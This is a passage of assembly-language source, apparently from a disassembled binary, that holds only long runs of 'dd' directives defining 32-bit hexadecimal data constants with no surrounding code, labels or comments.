1FB7090Ch dd 5A5348CFh, 6AE0209Fh, 90A3175Dh, 2CE6F5BAh, 9D98F248h dd 0FCB2A2h, 0E0DEB1FDh, 540A30DAh, 0F0B8EA15h, 85110090h dd 69D6F85Ch, 1EB098CCh, 41259F65h, 0D158BAEDh, 5A28308Ah dd 7322160Fh, 0D3692320h, 0D8805037h, 51E6404Dh, 884480B4h dd 89A69889h, 5FF608E0h, 0F558862Fh, 9CD8BA18h, 0C46A097Ch dd 8B4B5041h, 9893810h, 0CE2C02C4h, 5380CA3Bh, 0E7F80ABCh dd 2CF14080h, 1CBE2E75h, 96F08D08h, 0A7ECD28Eh, 0CCB9F4A1h dd 6BA02021h, 6869D90Ch, 18BA5808h, 0A83EFC5Dh, 0A0B48E29h dd 0BA88A1A5h, 1871C1FDh, 0E180F02Ch, 60728B7Ah, 47D10100h dd 5DFF0861h, 48126127h, 28CE4225h, 0CDD7C4C4h, 64F54CF0h dd 0B4D048E7h, 0FE50C894h, 31188268h, 0D28821CFh, 0F89237C3h dd 4B2C0218h, 448000CAh, 5CEB42C4h, 3FD20100h, 18C60994h dd 456914C9h, 0A603A86Ch, 0AA6824C8h, 0EDFEB2A0h, 0FC427500h dd 695E6A49h, 807F6038h, 9F84E295h, 0B9B8D074h, 5760D90Ch dd 0EBA90F8h, 90B5C242h, 9BDE2CA3h, 8D27B00Fh, 84AD07A3h dd 0C0A41089h, 0EBAC09B1h, 705A09A0h, 15C2DD2Fh, 80FCAE94h dd 4065A1ECh, 2E004163h, 6943B7Eh, 0B504976h, 0BE2D47E3h dd 0C8AAA893h, 6580DD89h, 4A497321h, 0B3F36600h, 8FD5ECFh dd 0D1943967h, 0E5CE1509h, 20CC3C87h, 40C42591h, 5690E260h dd 334E69CFh, 16FEB4DBh, 0CED091F5h, 75BC0019h, 0B0C8B6D4h dd 0AF9C5DB0h, 0C03CC0CFh, 0D6C7F654h, 0F51E282Ch, 0A2A603D0h dd 9D600E87h, 1219294Ch, 0B8C8D4B4h, 9CDC246Ah, 0B1F161F0h dd 0CA54715Dh, 0DE2A2CC4h, 0C32D9490h, 0A05840D4h, 0B1F80039h dd 0A92A69E3h, 0D601C682h, 15A56883h, 0E880E7BEh, 0CBC2F940h dd 0AD4023C3h, 2BB512EFh, 88A422B9h, 21E6DC49h, 255422C4h dd 69DC48EBh, 1C6082D1h, 0D8C13824h, 49F5F6C8h, 0BD25EC4h dd 1BC3CD30h, 2CF904A0h, 5092293Ah, 0F4ADFB01h, 2E69483Dh dd 1A6C056Ah, 1074B8BEh, 79009103h, 0F05AFCC0h, 889ED0C3h dd 0DB3CD700h, 0F5320A5Dh, 898F47F1h, 0CA69BBF0h, 66B170E3h dd 0D7C3D8A5h, 1E849C4Dh, 600C584Ch, 1E61052h, 815F5E94h dd 2CA88210h, 90A49994h, 5692683Dh, 1BF882F8h, 0CC04147Ah dd 0E4F16951h, 0A9489016h, 13953E24h, 0BB791084h, 1EF401AEh dd 0E9ABF60Ch, 2C83002Dh, 3800275Fh, 858FC0ADh, 4EFE32h dd 0A916ECA7h, 5B55D036h, 0B5CC2650h, 8E444Ch, 3C337C1Ch dd 0F63BD293h, 0F518C3DBh, 0A79340C1h, 321053E0h, 2439A901h dd 0EBE611B5h, 0C1C43C48h, 0B1A21864h, 0D4282E61h, 8E9B3AA9h dd 34216851h, 7D04007Ah, 64DB7E3h, 0CC05B494h, 0A8E03CC3h dd 0CF3E0982h, 0E4486B3Bh, 54B8129Eh, 80A6E540h, 0B4C704h dd 770D0304h, 20608CE0h, 1497945Ch, 25F893B0h, 97CACC0h dd 6A424C9Eh, 958CC8E2h, 3D9025A9h, 67FCDC05h, 2B37C0E8h dd 0F4B4626Eh, 1C30Fh, 0E536AD1Fh, 0F02548D1h, 0A316273Ch dd 0D4D40094h, 0F05D1AF5h, 0ED037096h, 0C2E4ACF2h, 748840B4h dd 0A98CBBDh, 0F405B8CCh, 8216432Ch, 8C0A9044h, 0A81E6000h dd 0DC76AF81h, 0B0B68790h, 15ACA40h, 969CB90Ah, 14052F9h dd 0E8CE8D78h, 0E53824E7h, 39952C10h, 0CD00F058h, 9F674748h dd 0FB00F833h, 0C6A93AE2h, 8A0E01h, 75A78E72h, 18B369EEh dd 2500B0BCh, 0FFBDF3E6h, 0B4A302A0h, 30153CAh, 0E4D40A2h dd 0D4E8820Bh, 610463Bh, 33C3734Ch, 0E81210ABh, 44E05FECh dd 0F99305Dh, 0E3E2A738h, 6A836804h, 0D113FC0Eh, 2641040h dd 0D2B4849Dh, 0C515C403h, 0D901700Fh, 982FE0D3h, 0BE973BCDh dd 0BE448054h, 3A1D08B4h, 584F3C00h, 0C4FA2006h, 828D043h dd 570C2C0Bh, 0ED2A8C10h, 89E9BE00h, 953BD3E0h, 58887783h dd 0CC003CDCh, 0BC0D01E6h, 0C0132B6Ah, 90A5879Eh, 9231060h dd 6189AC70h, 361CF018h, 0E9278F14h, 0C93300C0h, 0BE6A9AE6h dd 44D8C33Eh, 5ADB235Fh, 0D64154F8h, 68257C7Ah, 7AF8C4B3h dd 45AE4AC4h, 0A76C3258h, 2B040B10h, 2881A79h, 78295DC4h dd 0B30B00E4h, 69534149h, 78DD3590h, 640562D2h, 60E7D826h dd 86FAF40Eh, 0B5D1893Eh, 0A70A288Fh, 10C2090h, 236E4CFFh dd 6D31759Bh, 84C3084Ch, 85082693h, 4B8980C4h, 0D4202408h dd 1E85B9DAh, 0A6728C0Bh, 7754FADEh, 45D1C0C3h, 0FF191DFEh dd 936B4400h, 3BECD1B4h, 0BC214E98h, 0BB007C36h, 0CE5C881Ch dd 0F97AC4C3h, 8989847h, 5E0EF7B2h, 0F9CD85FAh, 58109082h dd 695F1728h, 6C8806Ah, 400F9857h, 0E1F9CBF6h, 693354BFh dd 802470F1h, 8EC918F7h, 2CFBE84Ah, 0A8825A25h, 0DE06B884h dd 2DC1A51Ch, 0E8125953h, 20980C64h, 7F5DBE17h, 6B8FDCF0h dd 3869E983h, 24BC4009h, 0B04CBE61h, 72BB8344h, 7988F275h dd 0FCF794F8h, 0CCFC415Ah, 0F164EBB8h, 276AE0EEh, 2FA09449h dd 43181111h, 0B007B308h, 755FD64Fh, 22AB6CC0h, 2C810937h dd 5C0A02C9h, 2FDA0F9Bh, 0A67D8C20h, 0ABF7395Dh, 1829EC90h dd 0F31A0138h, 6E22B167h, 8E207472h, 0C334926h, 0AD08D468h dd 2B72096Eh, 0F25D6000h dd 8100F0D6h, 9FBBD009h, 9ACC097h, 8C738EE7h, 0A97ACC72h dd 0CF8AD894h, 0DD0584BFh, 0E4B2D94Ch, 0C291AD00h, 0C5C3EAE8h dd 39A98360h, 4E105460h, 0DC3488C4h, 0E034B003h, 0F24BA03Bh dd 8A808359h, 458509Ch, 64B30003h, 0B821A08Bh, 0DA268FC9h dd 0D81C1C4Eh, 44831343h, 0FDC5B85Eh, 309836h, 0DE4769BCh dd 9596FC4h, 7AB93B58h, 56364A00h, 0FFC9BAA3h, 7FD1FDDh dd 0C2AC0955h, 693CCF4h, 0EA6C1480h, 0B0B9D2E5h, 4C09FE64h dd 514D3B5Ch, 655D047Ch, 9ED8B8A6h, 5A11DB18h, 7CF0A0FBh dd 983048E8h, 7A574C1Fh, 0B1C0DA80h, 2D1F8D37h, 5D9D3C00h dd 2CD9CE33h, 0F8CF6EA0h, 9601E17h, 0A4F01DBAh, 5AE8CD60h dd 190E5B8h, 554B3BE7h, 70ADF6CFh, 38131824h, 98A1DF3Dh dd 9A3B042h, 9EF8EC80h, 943EBA2Eh, 0D501804Eh, 8D4B9FF1h dd 83A39A1Dh, 0BBC1F908h, 31F0DACAh, 0B2D92DCAh, 91A700F0h dd 731D00F7h, 0B8F1C9D5h, 0BC284B09h, 0D44EDC54h, 58559888h dd 0CC4A0CD6h, 0A05FFBF8h, 0E6226821h, 4E185EF2h, 4BB8B6D2h dd 185AC481h, 9D5420h, 8FC2B522h, 68B2BBC7h, 0D0782B2Dh dd 0FC3E2734h, 3CC66840h, 17695280h, 23B922BEh, 0D1DDF338h dd 1A27C3Ch, 0D4604FDAh, 0E171667h, 222C03C5h, 85DCA5FAh dd 968848Ch, 58642E08h, 0C30CB34Ch, 4D39C3h, 36D502A0h dd 3FA764AEh, 873EC413h, 947B831h, 0F20804C3h, 0D2A36065h dd 0E4432540h, 0EFA15960h, 9CB91723h, 0F047894h, 0AB5BF098h dd 38C7A410h, 0CE9680FCh, 20F1E874h, 6BA401F4h, 4AC3C7BBh dd 23880EAh, 0B76C94D7h, 25D309CDh, 0C3CE4Dh, 8C8222DAh dd 0C4007B35h, 16F3596Dh, 32A6AEB1h, 0D0054608h, 0A940E883h dd 99E0123Dh, 9A5D70A1h, 695A0CA4h, 0B1488D0Dh, 0A06CAA07h dd 56A26028h, 81385CC4h, 0CB9698D3h, 0A1A820D1h, 89CF0A12h dd 0E110B0h, 8179662Bh, 62C3CD10h, 6278F96Eh, 584EBF2Ch dd 0FC580460h, 0B848E0A9h, 8BB0984Ch, 0F0A413E3h, 5D040323h dd 9800F93Fh, 7C46EA56h, 0BBA15Ch, 0CDAE551Dh, 0F015FD0h dd 0E7A2F202h, 7678FFE4h, 4CF4827Ch, 67C22362h, 696AE040h dd 14CC2050h, 8384933Fh, 1690CDAAh, 1F46B32Bh, 0C109AD88h dd 0DAC3E069h, 4994345Ch, 9F24BB13h, 0BD5E004h, 0A29480D0h dd 90EB7875h, 4941180Ch, 456A305Eh, 1BE00495h, 60D29C89h dd 4FCF8C2Ch, 265C8183h, 0B38B00BAh, 952726EDh, 69640818h dd 0C15C583Dh, 597AF01Bh, 0D4608CF4h, 0F6006CC0h, 0C420B5B7h dd 0D490D79Bh, 4500358h, 0A42B448Bh, 0B87384A0h, 3D38B09Ch dd 3A8017C2h, 0AFBECDBBh, 892C1254h, 0A90F6802h, 0DADB021Ah dd 0B838604Ah, 25801E04h, 2608EEE3h, 0C7828100h, 6C92E060h dd 0DCFB8A98h, 0D9085824h, 2598936Ch, 45E8F2B0h, 0D30C28CCh dd 6868F08Dh, 0D5B76A0Bh, 889024ABh, 1F8837A1h, 42910CE8h dd 3B3033F9h, 62D22B3Fh, 0F5C3D128h, 0FABCC480h, 90BA4Eh dd 17ED2C16h, 0E7E56CA1h, 0F8D4B3ECh, 0A4FA87h, 0E2F5A185h dd 634BC01Eh, 0D3D18100h, 54B08BA7h, 7860F156h, 0B0B7601Ch dd 0C58E4852h, 4B40F00h, 3A10A15Bh, 8022003Fh, 68B14BD9h dd 9800BB43h, 3BDA3E8Ch, 0EEA7C50h, 66C334AAh, 28A12349h dd 685EC46Ah, 0D11D0E0Ch, 0E0DE28Dh, 1848C0F7h, 92F4B121h dd 0BF8E7FFh, 8324096Ch, 9957D00h, 0B52CF350h, 523BF421h dd 0B2F4600Fh, 0C0B37129h, 0A02EC428h, 1E6FA8CBh, 0F2682958h dd 5A7A0719h, 20F5E659h, 7C61587Bh, 6003A906h, 9878EB12h dd 78B89F24h, 86EEA92Bh, 0F760353Dh, 0C5FFB8C0h, 56C7B9Fh dd 63A24148h, 2DAAC111h, 3AC032D6h, 87E214B7h, 8F94409Ch dd 0A166E903h, 481262Ch, 0E5CA75C8h, 85A8C44Ah, 3F44A5C0h dd 52E41044h, 0E8EE7504h, 805424DCh, 120808ACh, 0B84403C6h dd 65E0D7FFh, 2B174C9Bh, 4C4BB619h, 289478B9h, 9C4CDE2Dh dd 0B74761C0h, 3410A806h, 80C21E20h, 81E6DAA4h, 80446CF2h dd 4CF9EDFDh, 815D134Dh, 6B74CD03h, 5C69B444h, 0CD0574BCh dd 84C8906Fh, 0C421FFD6h, 4C6CE8A0h, 2685E910h, 0E210CCB9h dd 78105E3Eh, 562C1BC8h, 60908291h, 8244CD1Ch, 0E810FCC3h dd 0AD32BAEFh, 3C6376A1h, 811E7BE1h, 0F2E12528h, 0B85071A9h dd 9502565Dh, 0EA691082h, 8F007C7Ch, 547BB2F5h, 16D005Dh dd 787A670Ah, 0CC097596h, 0F712A69h, 3E3CA364h, 11CE042Bh dd 0EC8E349Fh, 55A70318h, 92FDB31Ah, 4A24D009h, 5AB080E3h dd 0E703E04Eh, 30C044D7h, 3C0DB0DBh, 25F491h, 60431DAEh dd 23F96E09h, 5CC1BC4Fh, 0F403E4F5h, 42709AB8h, 9806F30Eh dd 18C29C7h, 0E1D769A8h, 0A0A9C082h, 207E8276h, 0C02A2C85h dd 5C179C52h, 20C494C4h, 0CF2008A2h, 6FCC829Fh, 8DD42286h dd 0D4134222h, 8C2C0Ch, 9F9C8535h, 7E0E575h, 933E9000h dd 4CAF582h, 3FA7F59h, 5F1F3202h, 180057B7h, 64EA8687h dd 4960DEA9h, 0FB03A8B4h, 0FACCCF6Ch, 0B3B0C0D8h, 83D3A938h dd 642B74BBh, 0B0C84C5Dh, 0C450245Bh, 618CA5B0h, 301C3ACCh dd 0C42F8102h, 0C47E20h, 5A9619F7h, 0FC98CC0Dh, 0BB13025h dd 0E6D80147h, 34F4F9E8h, 0F83B1481h, 691208CEh, 3A38A1FCh dd 4CFDBC00h, 6FB0C35Bh, 2C045898h, 58CCBC55h, 4DBBC534h dd 886DDC81h, 39D15900h, 8D7CD20Eh, 278CE060h, 482DB5C3h dd 4A84BC8Eh, 31C42101h, 566017F7h, 0C0EA1FBDh, 0FA82FD9Ah dd 3B1848DAh, 0D9DE2A91h, 0B298A0BAh, 0A0862851h, 655E00B4h dd 0EAF59B89h, 5304997Bh, 7E2A416Bh, 5D70D0D7h, 0B014C0CFh dd 20A277E8h, 19BD4045h, 903C9E28h, 4AC679Fh, 0CB00AD08h dd 3C3D1CCEh, 40C1961h, 0A02CB1DEh, 0A710D2B8h, 0F40C4872h dd 0FA500E06h, 8FC504B5h, 9113C92Ch, 6A01D1C0h, 422C7071h dd 0B50C032Bh, 2BC183DCh, 5F087455h, 23561E2Ch, 5D095C26h dd 2870FBh, 6B3C5355h, 0F50D88D5h, 0B3BEE505h, 0ACECD35Dh dd 30B4216h, 534F4108h, 55ECE4C4h, 0F8B09C9Ah, 0B913FF13h dd 90B37494h, 69E12602h, 7872EBA1h, 53A69E01h, 0B66CEC21h dd 558F9E41h, 0A1D74C3Ch, 3A5832B0h, 5F9C02A7h, 0CA4C6966h dd 84C453F0h, 91AD492Ch, 0E081E6C0h, 0DC927532h, 2869DC0Ch dd 0F6A728E9h, 4A52F0ECh, 0CEC09016h, 6F3E5AD0h, 0E1C03A3Fh dd 8FAEB418h, 2417A0CBh, 0DEBC094Fh, 1471CFF1h, 73F9CB00h dd 3E0A626h, 0C3D6C609h, 90005807h, 1B6C44CEh, 0E3E03B6h dd 31279D3Ch, 1CD08B80h, 0B009D5A9h, 7AEA1E5Dh, 5C20F974h dd 0A82D58BDh, 89F46919h, 2EE065AAh, 0F4CDAC13h, 140532Ah dd 702CFE70h, 1A3062A5h, 0FA48307Bh, 4C11B5E8h, 9C802E44h dd 187005E2h, 10F2ECB4h, 0BD352Ch, 6956C508h, 0AC8B5542h dd 0AD09CCD7h, 51227864h, 1892957Eh, 2C11A489h, 213C30AAh dd 4C7CBE49h, 103C48FCh, 6A0CF182h, 0BFA029B3h, 0DAF803B5h dd 5D310947h, 0C0C00A93h, 0C604855Ah, 0BB948D0Dh, 0CD798C1h dd 4B76670h, 4E69BF75h, 1314B999h, 64A25C56h, 35E4700h dd 0A62179D5h, 8EC388C3h, 0E6B80B70h, 28C0D72Ch, 5097DD6Ch dd 275498FCh, 0CCC2AA2Bh, 30EC6C41h, 90953EEh, 10D96034h dd 5C436F00h, 0B6D7A8BEh, 0BB240120h, 67B1782Dh, 112E2898h dd 2B489A23h, 0F3B4440Eh, 3799B007h, 0D030A95Ah, 748E983Bh dd 852658AFh, 38AC0A5Eh, 0D8F51886h, 259F95D4h, 10C04730h dd 63BE6065h, 0DE218864h dd 8094E92Fh, 602D0AA4h, 4427603Fh, 684371B1h, 14D900Bh dd 0D2B5049Ch, 4FC1480h, 2A11C5Ch, 997F40D7h, 3CB7F5F4h dd 71EFAF48h, 0C4030A2Fh, 11F70010h, 0F042BABDh, 6A17FCB4h dd 0A00B5DC9h, 4E4C4CC4h, 81E864A2h, 7A82FA1Ch, 0D9D28C1Fh dd 0DED40CF1h, 20CD5EE5h, 0F33E5DACh, 808510D7h, 9D43E8A0h dd 45503C99h, 0FBF49234h, 0C98E9h, 5B2D0956h, 430C8F8h dd 9F080D49h, 0E802354h, 973A48EAh, 0BE5F54D0h, 2489983Bh dd 3EADB4h, 693C139Eh, 4B016FD2h, 53BEECC0h, 7830DAF2h dd 90D04B0Ch, 0E8602198h, 77CD6700h, 3265E51Fh, 0F2E704DDh dd 80C48C6Ch, 0D3B9FF64h, 2FFDC318h, 59D580h, 0C4ED817Ch dd 0CA1FA75Eh, 0E5471B07h, 0A0845504h, 84FD4081h, 2CA32903h dd 4800DBA2h, 0D741CFh, 96953B7Ch, 4B26F0FBh, 55C36017h dd 0DC8874C2h, 1F98264Ch, 0E3F70CC8h, 0F8BE4518h, 720CA984h dd 78028F8h, 8F658075h, 618D5D18h, 7FDD5F78h, 898C0030h dd 737E7981h, 0C3129B0Dh, 0E890E8FAh, 4C05097h, 69EB6BE9h dd 7960B831h, 2998FF25h, 0FE1C3268h, 70A15228h, 74AAC95Dh dd 437F7E08h, 127FAE6h, 0B9C4981Ah, 0E5C11625h, 0D9E50044h dd 4751DF04h, 0ED01B30Fh, 0A56603D1h, 0A60802D0h, 523E39A0h dd 0C409107Eh, 0F48CE12Ch, 75831838h, 0E19D69D9h, 9EB7F0CCh dd 3730C098h, 15E3956h, 4A9B02D5h, 0D1204BE9h, 74683076h dd 62686A41h, 0CEAC4885h, 0C000F86Ch, 0FB1BB611h, 0F269FA1Dh dd 3C409231h, 0A0185F66h, 0A9B490CDh, 29AA1D05h, 8CD184D0h dd 5A03B01Ch, 0A4438804h, 908E9889h, 2C06857Bh, 4B20CCACh dd 0F1C420F8h, 364A05A9h, 0F0D650B3h, 83B02854h, 60FF3200h dd 81B4A07Ch, 6054960Fh, 8FD3DE0Ah, 5057CA00h, 60318142h dd 486D6587h, 0C3E5C06Bh, 0C0E61921h, 79EAA090h, 452B661Eh dd 0A771BAD8h, 2E65826h, 0D3E46916h, 0C08DBB10h, 146D78D0h dd 0F25DE716h, 0BE2D48C1h, 0FB82C02Dh, 18705EE4h, 0A1D8CB4Ch dd 14634852h, 0F5A6B04h, 64B0B088h, 77001B5Dh, 30B5CC30h dd 82F92444h, 0B7DB0D8h, 0C34BC906h, 19FAA3h, 643BD4D6h dd 1DB03F8Ah, 0A6570300h, 0CDB744C1h, 6ED50067h, 17B6433Bh dd 5890EBDAh, 0F139703h, 0BA74BC29h, 840882B4h, 0CD9C6094h dd 53EE16CCh, 0C410804Dh, 819F7FF9h, 8560E05Ch, 0FF000068h dd 38C5E748h, 37EEDF01h, 0F50324B0h, 40D3E9CFh, 0DE1804C6h dd 0D8B19D58h, 0DD5B6AC8h, 0A8E0B0C5h, 0F5B700E5h, 5F8B86CAh dd 0A000170h, 98463F9Fh, 4B0BCBFDh, 0C43898A0h, 8FC8498h dd 9CAE0D01h, 17DADEBFh, 0B310206Bh, 7900A7BEh, 73973C34h dd 0EE9FC5h, 0A1C1F5B2h, 17BBCEFh, 0E6D0D10Fh, 0C01D6345h dd 0F78369h, 0BF634160h, 5EDBD182h, 1A2CF30Bh, 3F80B393h dd 0BC8048B8h, 62434111h, 0BE01DA09h, 2B9C8427h, 6C20406Eh dd 39B37C29h, 274C7C23h, 5AFBF450h, 803023BAh, 0AC6CA9A0h dd 8830FC82h, 2100434Fh, 7872EE41h, 4F7BF0C3h, 3F9C0B75h dd 1E0074D8h, 6B41FBDFh, 20A07BBh, 0A6978110h, 55135Dh dd 603AF330h, 0A9591D32h, 98F24809h, 0DA26E428h, 8C02F265h dd 0C6BB6EDEh, 0C3C51684h, 298407Fh, 958B26D1h, 815DE208h dd 384C27E7h, 0F89E98E4h, 54818FC2h, 0B8C46170h, 0FC109E96h dd 2DA6B600h, 950B5DA2h, 16E1001h, 0A4B46A0Eh, 82B60BF8h dd 1B80D0E6h, 568C4936h, 0CEF54800h, 0D3838D79h, 4090BAD1h dd 493B3B9Fh, 0DBA78741h, 48AD1D2Ch, 5585CC2h, 0DC822A5Dh dd 9B58F58h, 0CE5489C8h, 0CC324DD4h, 0AAB22200h, 69B179D1h dd 0A0144F35h, 0EF49A400h, 0C8BEBE7h, 0DAEA2B41h, 867AF30h dd 7D3424E2h, 5DA1DCA8h, 78012EA3h, 0D1666956h, 0F08118A7h dd 2ACF42E1h, 0FB756C80h, 0C5723069h, 935A4420h, 0D6CBD00Eh dd 7505A13Bh, 42F0DAD3h, 0FF1A0F97h, 1F823C39h, 4CC0D7F0h dd 0CA040C63h, 65BC35A0h, 809D0C4h, 1EC792Eh, 6A852A9Eh dd 0AC187E94h, 1679B2DEh, 1456844h, 4B24F6ACh, 7C22BBh dd 865E8801h, 3A0DF6Ch, 0CFF2C73Fh, 0E2DC6991h, 0B71F800Ch dd 5B2B50BAh, 75C8C0B1h, 0BE48E7BDh, 66CF8B80h, 4A2C2FA8h dd 7CB0C2h, 25C3A20Eh, 0D4034E75h, 16EA5BEFh, 80B02C60h dd 0ACC0B1A4h, 6829D703h, 55C44CDh, 0C3075510h, 7481AB3Ch dd 4C386757h, 9000C73Ah, 0C3039D82h, 7092B840h, 0D4D2D600h dd 0FB606B8Ah, 74B895D0h, 0A49E192Ch, 18FDC709h, 2860227Ch dd 0E8322Fh, 20EA3B8Fh, 6E3C9F46h, 98CAEC00h, 0FCF474DAh dd 0EF320B79h, 4206D00Eh, 0D4E140BEh, 0E602AAB1h, 6957EB9Ah dd 1C80DFA7h, 0F1FEDEBBh, 0B0FC82h, 2CF25FCAh, 88C9B3E9h dd 95F0F2D2h, 4C89EC1Ah, 6BFF9844h, 0B4F27401h, 69C85AADh dd 0CB8C2521h, 0C42F7CDCh, 53C4A018h, 0F16CB297h, 0F789986Dh dd 0E595F458h, 0C3CE8200h, 0D0A25073h, 985D0BC0h, 0BEE15BCh dd 684B1712h, 0EC055866h, 5B76C3C0h, 4F0FC040h, 0B087F033h dd 0F74B0020h, 0DF6A8B4Ch, 0E49EBC85h, 2E627BCh, 0E275A2C4h dd 0E04C0A00h, 52F7FF03h, 20FDEDFEh, 0C85E0C3Eh, 666206C8h dd 60748CD0h, 0BCBB0190h, 0BD6A7010h, 57C45C51h, 5E4C02E0h dd 607AE0F4h, 80648EE0h, 4F00CB02h, 6C3CE35Fh, 392CC659h dd 78AFDE3Bh, 0F7B3B0E0h, 1DE88B00h, 19A44F3Ch, 0B2A12C5Bh dd 68A1DFAh, 8899CB5Dh, 1080B131h, 0B90098F5h, 0D80C4AAEh dd 88E1B0C3h, 70DF645h, 4F971813h, 1D20BF4Ch, 0E5268DC9h dd 0A2065B13h, 0E1A6684Dh, 13508B2Ah, 6CDCA390h, 24644844h dd 0E613578Fh, 80FB2CF4h, 40B8F492h, 0A6DBDEA3h, 5B5F02D8h dd 143D6600h, 896244B5h, 0D2F558F2h, 9042D013h, 268056E4h dd 1B385558h, 80E8C266h, 76833307h, 585D25E5h, 773BC800h dd 0F2141B7Ch, 0AFDDABBh, 0BC380669h, 951CD007h, 0E175A34Fh dd 18DCC50Bh, 54665044h, 24C64F21h, 78C4DD10h, 0F6CBA2F4h dd 51D30180h, 802A7B69h, 89460870h, 0F5C393h, 0B8A3FEFh dd 0F948696Ch, 5EEC280h, 0CEAA26A0h, 3CBCEDACh, 0F01C0E1h dd 825EB2D2h, 0C4BA75C5h, 0F5080078h, 7CADCBE2h, 23694A0Ch dd 0C835091h, 0E4F1C438h, 0D53E07D0h, 1C905B6Fh, 0F8B2CDF9h dd 9C98747Fh, 0C3C9045Ch, 0DC8E077h, 55DB3C09h, 0E0470A0h dd 0C34E91FBh, 0D1902AACh, 0DE60040Ch, 0BF54F8E8h, 5DBE8890h dd 0B01F594Eh, 5D966909h, 0C9945C88h, 3E60488Fh, 0D1A2160Dh dd 819A4D00h, 0AE8E7AE8h, 0A4B0000Ch, 0BB13C366h, 381F1CB3h dd 0FD00B5EEh, 14E91188h, 6728C046h, 0D769DD0Fh, 8340BF6Fh dd 0A0F14EA4h, 0C878BBh, 54DE8295h, 0CA6B211Dh, 8100867Ch dd 7838DD68h, 38D0ABAh, 0A41DD202h, 383B0414h, 4600FF80h dd 7F970CB6h, 0CD86B86h, 45F46ABFh, 33E6940h, 22940054h dd 95487BBCh, 51A100A5h, 0D304F43Fh, 6B0E1015h, 6EBAF581h dd 50146Ah, 0CD0C8E44h, 30C2DEh, 424BC466h, 7EE37D95h dd 83681800h, 72A46EB9h, 0A90C01Eh, 534471D3h, 0D26D200h dd 0E940E882h, 3C6D0EADh, 7A8086A3h, 1417370Ch, 0E341FDF1h dd 73F8D9ABh, 0EE6130A4h, 0BA380549h, 0D6CD880h, 7667CB0Bh dd 0BB988660h, 69FC282h, 0CDD1A5D7h, 0BFF0B0A8h, 7C153DF0h dd 14B0FFA0h, 6CCCE4Ah, 2C3CD1D9h, 32697C90h, 0DB486CCAh dd 4DDE98A7h, 0B7980F8h, 0B36F8F3Ah, 1ED118D5h, 0A33560E0h dd 0D4F1DF01h, 36C105CAh dd 8BE7B040h, 17C4A4E3h, 56A0C86h, 31D13E2Fh, 36202F4h dd 4A65EFDAh, 3B1784C0h, 94E80148h, 41083A9h, 6EF080BBh dd 66ED463Eh, 0F8DB30A4h, 0C0FDA939h, 0A81C6A19h, 0F1804E78h dd 86A7973Bh, 0F660F2D1h, 320B6770h, 0D8480362h, 829C53ADh dd 0B1037800h, 8B12D052h, 4AB80002h, 0FD95713Bh, 0E81B6A48h dd 0C1C04B13h, 1081709Ch, 0B104F9BBh, 2D483021h, 0FD8470C1h dd 20805B28h, 700CBE43h, 0E660F8A4h, 38F50D30h, 536B180Eh dd 0DB51A80Ah, 9D98FA62h, 90D882CFh, 856B04DCh, 475C208Ch dd 900930Bh, 347364E6h, 0FBAF888h, 116CADABh, 0C67CD7C3h dd 784C96CCh, 3B29D03h, 0BB18D5h, 71A5C761h, 744C450Dh dd 4DF2000h, 80A418ADh, 3AA4A10Ah, 961AFE4h, 3F03D271h dd 3E7C0800h, 63646CBEh, 34159591h, 0CF3BCE00h, 705DD92Ch dd 37753C00h, 68B2638Fh, 557D07D6h, 0F0BBA50Bh, 1DE2F73h dd 0BA17AC00h, 0A794E780h, 90367C47h, 0A46430FBh, 0BE9E4D18h dd 9C053CECh, 17D4049Fh, 137EF480h, 0B83E60BAh, 871080CFh dd 4584DE09h, 0C140872h, 55FC4400h, 313E7AEh, 6E0BB5B9h dd 3CB6A0Ah, 0BE686050h, 37140709h, 0C1910016h, 0C48EAD6h dd 4CC9A365h, 0D012DC68h, 600F4D91h, 3A108E64h, 1F816018h dd 980360DEh, 0FC0B9543h, 7097F730h, 1FF06E7Bh, 802D9F94h dd 0A1D2EF77h, 4100C793h, 0DB8F1435h, 0C306FA4Fh, 0A4D69C58h dd 9E2ACCC1h, 0A61FF611h, 5C4B0807h, 0D0E0B580h, 9840E765h dd 71A4E69Ah, 907D0C43h, 6EE0D39Dh, 0F6D098A8h, 79485760h dd 30B8545h, 3A664368h, 4000BECDh, 55463B13h, 71FC2E2Bh dd 0C79E8h, 0F22C60F3h, 0F811D13Dh, 0C36DD900h, 7C944672h dd 51140057h, 55C2782Eh, 8903733Bh, 0D0F5755Eh, 158D6C7h dd 47854D17h, 8EEC94FCh, 0AC703D68h, 1F72D09Ah, 0FA09DE37h dd 2CBDA30Ah, 0D0D303A4h, 4002ED17h, 0B26A8D3Ch, 4FD0812Bh dd 904C0A7Eh, 219A20D0h, 68109E62h, 496886D7h, 0F8DEF8E8h dd 4379034Bh, 1E21D083h, 903C300Fh, 0DF1C0DBh, 0CF2FC66Ah dd 998E4560h, 15371C81h, 482302h, 0C7789A0Ah, 3385A194h dd 63384D26h, 60021B6h, 1098D215h, 0E94A3Bh, 0DDC5AB93h dd 0DC423AE4h, 0DA0A85F6h, 0D07AFE67h, 2EF12C2h, 0F4B008A5h dd 1D080ACEh, 9B2444Ah, 382056B6h, 0D4696243h, 6A3D74A0h dd 0C69AEA12h, 99FC0002h, 3B30600Ah, 7E45016Bh, 14D0AA5Fh dd 0CC3080FBh, 72ABD8FDh, 60BECEBh, 7F6A1317h, 0E905C80Dh dd 6374A3DAh, 0AB01C405h, 849A8022h, 288843B0h, 81BB60C5h dd 4FFF6A8Ah, 0D56828C4h, 6F6B288Ch, 0D08248EAh, 9401C45Dh dd 20BE85A6h, 37240901h, 93EC6D3Bh, 4007029h, 9C425DE8h dd 307BE6D2h, 433091F2h, 0CC050B8Dh, 407DF6BAh, 0BC001C35h dd 0B1370407h, 78D11454h, 72029843h, 1CEC453Dh, 2B6BBC82h dd 32129848h, 0CB379D00h, 5956940Ah, 88C451EBh, 0C8F40CF4h dd 4F414598h, 3894D175h, 3578809Ch, 11FEC4h, 0B37B3ABCh dd 46399DC5h, 18FCC845h, 3C685A8Ah, 339B0047h, 8E8DF39h dd 0D018D719h, 1440DACDh, 96AEA84h, 0E6D2BEFDh, 0A2415CA3h dd 0EC908CC4h, 612943E8h, 180AC8EDh, 0CBDB4BCh, 30440B84h dd 0DE173B1Ah, 0A33E12DCh, 35C061B0h, 0B03E642Ah, 0F1CDCD5h dd 8212CDD8h, 6015A2E7h, 757685Ch, 488F82DEh, 37434120h dd 7F1890BCh, 29040CC5h, 97085D8h, 0FC2418C8h, 89BB1C80h dd 2992004Ch, 5D87869h, 100CA66h, 0DDEDF1CEh, 0FEB094F4h dd 21170503h, 5A7A5A6Ah, 0D08A59B4h, 9721238h, 0C4030308h dd 56F86C3Bh, 701D824Eh, 0DF0215F2h, 